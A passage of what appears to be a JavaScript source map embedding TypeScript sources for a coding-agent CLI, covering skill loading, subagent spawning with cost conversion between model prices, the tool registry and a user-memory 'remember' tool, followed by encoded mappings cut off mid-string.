${SKILL_MAX_CHARS} characters]`;\n }\n return parsed.body;\n}\n\n// The skill tool re-discovers skills on every call, so skills added\n// mid-session are usable without a restart.\nexport function createSkillTool(deps: { cwd: string; home?: string }): Tool {\n return {\n name: \"skill\",\n description:\n \"Load the full instructions of a skill by name. Available skills are listed in the system prompt when present; call this before starting work that matches one of them.\",\n permission: \"read\",\n parameters: z.object({\n name: z.string().describe(\"Name of the skill to load, as listed in the system prompt.\"),\n }),\n async execute(args): Promise<ToolResult> {\n const skills = discoverSkills(deps.cwd, deps.home);\n const skill = skills.find((s) => s.name === args.name);\n if (!skill) {\n const available = skills.map((s) => s.name).join(\", \") || \"none\";\n return {\n content: `Unknown skill: \"${args.name}\". Available skills: ${available}`,\n isError: true,\n };\n }\n const body = loadSkillBody(skill);\n if (!body) {\n return { content: `Skill \"${skill.name}\" is empty or unreadable.`, isError: true };\n }\n return {\n content: [\n `# Skill: ${skill.name}`,\n \"\",\n body,\n \"\",\n `Base directory for relative file references in this skill: ${skill.dir}`,\n ].join(\"\\n\"),\n };\n },\n };\n}\n","import type { LanguageModel } from \"ai\";\nimport { z } from \"zod\";\nimport type { StarConfig } from \"../config/schema\";\nimport type { TokenUsage } from \"../core/events\";\nimport type { PermissionRequest } from \"../permissions/types\";\nimport { createDefaultRegistry } from \"../tools\";\nimport type { Tool, ToolResult } from \"../tools/types\";\nimport { defaultAgentTasks } from \"./agent-tasks\";\n\n// Subagents run one level deep: the child loop is created without the\n// subagent tool, so a subagent can never spawn another subagent.\nexport const MAX_SUBAGENT_DEPTH = 1;\n\nconst MAX_REPORT_CHARS = 20_000;\n\nconst SUBAGENT_PROMPT =\n \"You are a subagent spawned to handle a focused subtask on behalf of the main agent. Work autonomously with the tools available to you, then finish with a concise report of what you found or did. Your final text is returned to the main agent as the tool result — make it self-contained.\";\n\nexport interface SubagentDeps {\n model: LanguageModel;\n config: StarConfig;\n cwd: string;\n system?: string;\n // Inherited from the parent loop so the child requests carry the same\n // provider metadata (reasoningEffort).\n providerMetadata?: Record<string, Record<string, unknown>>;\n // Inherited from the parent loop (the model's [[models]] temperature key).\n temperature?: number;\n // Inherited from the parent loop (the model's [[models]] stream watchdog\n // overrides); unset falls back to the top-level config values.\n streamIdleTimeoutSec?: number;\n streamFirstChunkTimeoutSec?: number;\n depth: number;\n getConfirmHandler?: () => ((req: PermissionRequest) => Promise<boolean>) | undefined;\n // Receives the child loop's accumulated token usage once the run settles\n // (sync or background, success or failure), along with the model the\n // child ran on. The parent loop folds it into its own finish events, so\n // subagent spend flows into /cost, /usage and sessionBudgetUsd without\n // those consumers changing.\n onUsage?: (usage: TokenUsage, model: LanguageModel) => void;\n}\n\ninterface SubagentArgs {\n prompt: string;\n description?: string;\n}\n\n// Session cost is computed by the consumers as token totals × the *active*\n// model's price (cli/cost.ts computeCostUsd, over the session usage built\n// from root-loop finish events). Folding a child's tokens straight into the\n// parent's totals would misprice them when the child ran on a differently\n// priced model, so each priced token class is converted into the number of\n// parent-priced tokens that bills the same dollars. A child on the same\n// model (the common case) short-circuits to the exact counts; when either\n// side lacks full pricing (or the parent prices a class at 0, making\n// dollars inexpressible as tokens) the raw counts pass through — the same\n// approximation the session total already makes.\nexport function convertUsagePricing(\n usage: TokenUsage,\n from: LanguageModel,\n to: LanguageModel,\n config: StarConfig,\n): TokenUsage {\n if (from === to) return usage;\n const fromCfg = config.models.find((m) => m.model === from.modelId);\n const toCfg = config.models.find((m) => m.model === to.modelId);\n if (\n fromCfg?.promptPrice === undefined ||\n fromCfg.completionPrice === undefined ||\n toCfg?.promptPrice === undefined ||\n toCfg.completionPrice === undefined ||\n toCfg.promptPrice <= 0 ||\n toCfg.completionPrice <= 0\n ) {\n return usage;\n }\n // Dollars per token class under the child's pricing, mirroring\n // computeCostUsd's cache rules (cached prompt tokens are a subset billed\n // at cacheReadPrice ?? promptPrice; Anthropic-style cache reads come on\n // top at cacheReadPrice ?? 0). The per-million divisor cancels in the\n // ratio, so prices are used as-is.\n const cached = Math.min(Math.max(usage.cachedPromptTokens ?? 0, 0), usage.promptTokens);\n const promptUsd = (usage.promptTokens - cached) * fromCfg.promptPrice;\n const cachedUsd = cached * (fromCfg.cacheReadPrice ?? fromCfg.promptPrice);\n const cacheReadUsd = (usage.cacheReadInputTokens ?? 0) * (fromCfg.cacheReadPrice ?? 0);\n const completionUsd = usage.completionTokens * fromCfg.completionPrice;\n\n const scaledCached = cachedUsd / (toCfg.cacheReadPrice ?? toCfg.promptPrice);\n const promptTokens = Math.round(promptUsd / toCfg.promptPrice + scaledCached);\n const cachedPromptTokens = Math.round(scaledCached);\n // A parent without a cache-read price bills that class at 0, so its\n // dollars ride on the completion class instead of being dropped.\n const toCacheReadPrice =\n toCfg.cacheReadPrice !== undefined && toCfg.cacheReadPrice > 0\n ? toCfg.cacheReadPrice\n : undefined;\n const completionTokens = Math.round(\n completionUsd / toCfg.completionPrice +\n (toCacheReadPrice === undefined ? cacheReadUsd / toCfg.completionPrice : 0),\n );\n const cacheReadInputTokens =\n toCacheReadPrice === undefined ? 0 : Math.round(cacheReadUsd / toCacheReadPrice);\n const result: TokenUsage = {\n promptTokens,\n completionTokens,\n totalTokens: promptTokens + completionTokens,\n };\n if (cachedPromptTokens > 0) result.cachedPromptTokens = cachedPromptTokens;\n if (cacheReadInputTokens > 0) result.cacheReadInputTokens = cacheReadInputTokens;\n return result;\n}\n\n// Runs a child loop to completion and returns its formatted report; the\n// sync tool path and background agent tasks share this.\nasync function runSubagent(\n deps: SubagentDeps,\n args: SubagentArgs,\n cwd: string,\n signal: AbortSignal,\n): Promise<string> {\n const { AgentLoop } = await import(\"./loop\");\n const child = new AgentLoop({\n model: deps.model,\n registry: createDefaultRegistry(),\n config: deps.config,\n cwd,\n system: deps.system ? `${deps.system}\\n\\n${SUBAGENT_PROMPT}` : SUBAGENT_PROMPT,\n providerMetadata: deps.providerMetadata,\n temperature: deps.temperature,\n streamIdleTimeoutSec: deps.streamIdleTimeoutSec,\n streamFirstChunkTimeoutSec: deps.streamFirstChunkTimeoutSec,\n subagentDepth: deps.depth + 1,\n });\n const confirmHandler = deps.getConfirmHandler?.();\n if (confirmHandler) child.confirmHandler = confirmHandler;\n\n let toolCalls = 0;\n let error: string | null = null;\n const usage: TokenUsage = { promptTokens: 0, completionTokens: 0, totalTokens: 0 };\n try {\n for await (const event of child.stream(args.prompt, signal)) {\n if (event.type === \"tool-result\") {\n toolCalls++;\n } else if (event.type === \"error\") {\n error = event.error.message;\n break;\n } else if (event.type === \"finish\" && event.usage) {\n usage.promptTokens += event.usage.promptTokens;\n usage.completionTokens += event.usage.completionTokens;\n usage.totalTokens += event.usage.totalTokens;\n usage.cachedPromptTokens =\n (usage.cachedPromptTokens ?? 0) + (event.usage.cachedPromptTokens ?? 0);\n usage.cacheReadInputTokens =\n (usage.cacheReadInputTokens ?? 0) + (event.usage.cacheReadInputTokens ?? 0);\n }\n }\n } catch (e) {\n error = e instanceof Error ? e.message : String(e);\n } finally {\n // The child spent tokens even when it errored or was aborted — report\n // whatever accumulated so the parent can bill it.\n if (usage.totalTokens > 0) deps.onUsage?.(usage, deps.model);\n }\n\n // A user abort ends the child loop without an error event; surface it\n // through the same interrupted path as any other aborted tool instead of\n // returning a \"successful\" report that gets persisted as a normal result.\n if (signal.aborted) {\n throw new Error(\"Tool execution aborted.\");\n }\n\n let report = \"\";\n const messages = child.getMessages();\n for (let i = messages.length - 1; i >= 0; i--) {\n const message = messages[i];\n if (message?.role !== \"assistant\" || !Array.isArray(message.content)) continue;\n const text = message.content\n .filter((part) => part.type === \"text\")\n .map((part) => part.text)\n .join(\"\");\n if (text) {\n report = text;\n break;\n }\n }\n if (report.length > MAX_REPORT_CHARS) {\n report = `${report.slice(0, MAX_REPORT_CHARS)}\\n... (truncated)`;\n }\n\n const label = args.description ? ` \"${args.description}\"` : \"\";\n const stats = `[subagent${label}: ${toolCalls} tool call(s)]`;\n if (error) {\n throw new Error([`Subagent failed: ${error}`, stats, report].filter(Boolean).join(\"\\n\"));\n }\n return `${stats}\\n${report || \"(subagent produced no text output)\"}`;\n}\n\nexport function createSubagentTool(deps: SubagentDeps): Tool {\n return {\n name: \"subagent\",\n description:\n \"Spawn a subagent with its own agent loop to handle a focused subtask (research, exploration, or an isolated change). The subagent has the same tools but cannot spawn further subagents. Returns the subagent's final report. Prefer this for self-contained work that would otherwise clutter the main conversation. Set run_in_background to start it without blocking: independent subtasks then run concurrently and their reports are delivered to you automatically when they finish (also inspectable via task_list/task_output/task_kill).\",\n permission: \"exec\",\n parameters: z.object({\n prompt: z.string().describe(\"Complete, self-contained instructions for the subagent.\"),\n description: z\n .string()\n .optional()\n .describe(\"Short label for the subtask, shown in the result header.\"),\n run_in_background: z\n .boolean()\n .optional()\n .describe(\n \"Run concurrently in the background and return a task id immediately (default false). Use for independent subtasks that can run in parallel.\",\n ),\n }),\n async execute(args, ctx): Promise<ToolResult> {\n if (args.run_in_background) {\n const task = defaultAgentTasks.start((signal) => runSubagent(deps, args, ctx.cwd, signal), {\n prompt: args.prompt,\n description: args.description,\n });\n const label = args.description ? ` \"${args.description}\"` : \"\";\n return {\n content: `Background subagent ${task.id}${label} started. Its report will be delivered as a message when it finishes; use task_list/task_output to check progress.`,\n };\n }\n\n const signal = ctx.abortSignal ?? new AbortController().signal;\n try {\n return { content: await runSubagent(deps, args, ctx.cwd, signal) };\n } catch (e) {\n return { content: e instanceof Error ? e.message : String(e), isError: true };\n }\n },\n };\n}\n","import { ToolRegistry } from \"./registry\";\nimport type { TodoStore } from \"./todo\";\n\nexport { ToolRegistry } from \"./registry\";\nexport { TodoStore, createTodoTools, setTodoPersistGuard } from \"./todo\";\nexport type { TodoItem } from \"./todo\";\nexport type { PermissionLevel, Tool, ToolContext, ToolResult } from \"./types\";\n\n// The registry constructor registers every built-in tool (todo tools\n// included); this helper only forwards the optional per-loop todo store.\nexport function createDefaultRegistry(todoStore?: TodoStore): ToolRegistry {\n return new ToolRegistry(todoStore);\n}\n","import { appendFileSync, mkdirSync, readFileSync, statSync } from \"node:fs\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport { starHome, userMemoryPath } from \"../config/paths\";\nimport type { Tool, ToolResult } from \"../tools/types\";\n\nexport const USER_MEMORY_MAX_CHARS = 32 * 1024;\nexport const REMEMBER_TEXT_MAX_CHARS = 500;\n\ninterface CacheEntry {\n mtimeMs: number;\n block: string | null;\n}\n\nconst cache = new Map<string, CacheEntry>();\n\n// Reads <home>/MEMORY.md as user long-term memory for the system prompt,\n// mirroring readProjectMemory: a delimited block, or null when the file is\n// missing, unreadable, or empty. Content is cached by path and re-read only\n// when the mtime changes, so appends via the remember tool self-invalidate.\nexport function readUserMemory(home: string = starHome()): string | null {\n const file = path.join(home, \"MEMORY.md\");\n let mtimeMs: number;\n try {\n mtimeMs = statSync(file).mtimeMs;\n } catch {\n return null;\n }\n const hit = cache.get(file);\n if (hit && hit.mtimeMs === mtimeMs) return hit.block;\n\n let block: string | null = null;\n try {\n let body = readFileSync(file, \"utf8\").trim();\n if (body) {\n if (body.length > USER_MEMORY_MAX_CHARS) {\n body = `${body.slice(0, USER_MEMORY_MAX_CHARS)}\\n\\n[MEMORY.md truncated to ${USER_MEMORY_MAX_CHARS} characters]`;\n }\n block = [\n \"# User memory (MEMORY.md)\",\n \"The following notes were saved by the user across sessions. Respect them unless they conflict with the current request.\",\n body,\n ].join(\"\\n\");\n }\n } catch {\n block = null;\n }\n cache.set(file, { mtimeMs, block });\n return block;\n}\n\n// Appends one bullet line to the memory file, creating it (and the home\n// directory) when missing. The mtime-keyed cache picks the change up on the\n// next read.\nexport function appendUserMemory(text: string, home: string = starHome()): void {\n mkdirSync(home, { recursive: true });\n appendFileSync(path.join(home, \"MEMORY.md\"), `- ${text}\\n`, \"utf8\");\n}\n\nexport function createRememberTool(deps: { home?: string } = {}): Tool {\n return {\n name: \"remember\",\n description: `Save a note to the user's long-term memory (${userMemoryPath()}), injected into every future session. ONLY use when the user explicitly asks to remember or save something. Never use autonomously.`,\n permission: \"write\",\n parameters: z.object({\n text: z\n .string()\n .max(REMEMBER_TEXT_MAX_CHARS)\n .describe(\"The note to save, as a single concise sentence.\"),\n }),\n async execute(args): Promise<ToolResult> {\n appendUserMemory(args.text, deps.home);\n return { content: `Saved to user memory: ${args.text}` };\n },\n };\n}\n"],"mappings":"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